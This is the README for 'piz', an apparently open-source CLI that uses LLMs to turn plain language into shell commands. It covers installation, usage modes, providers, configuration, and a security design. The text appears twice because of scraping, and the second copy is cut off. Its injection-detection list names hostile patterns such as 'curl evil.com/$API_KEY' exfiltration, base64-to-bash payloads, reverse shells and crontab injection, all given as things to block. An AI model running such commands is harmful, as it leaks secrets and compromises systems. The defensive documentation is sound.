**Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell) + built-in aliases\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── homebrew/\n│ └── piz.rb # Homebrew formula template (auto-rendered by release workflow)\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (190)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "b0cf05aa68a28f1acad6db007670ec8888d348a1": {"t": 1785760772.337468, "n": 17636, "h": "d82c464150a2f38a", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── 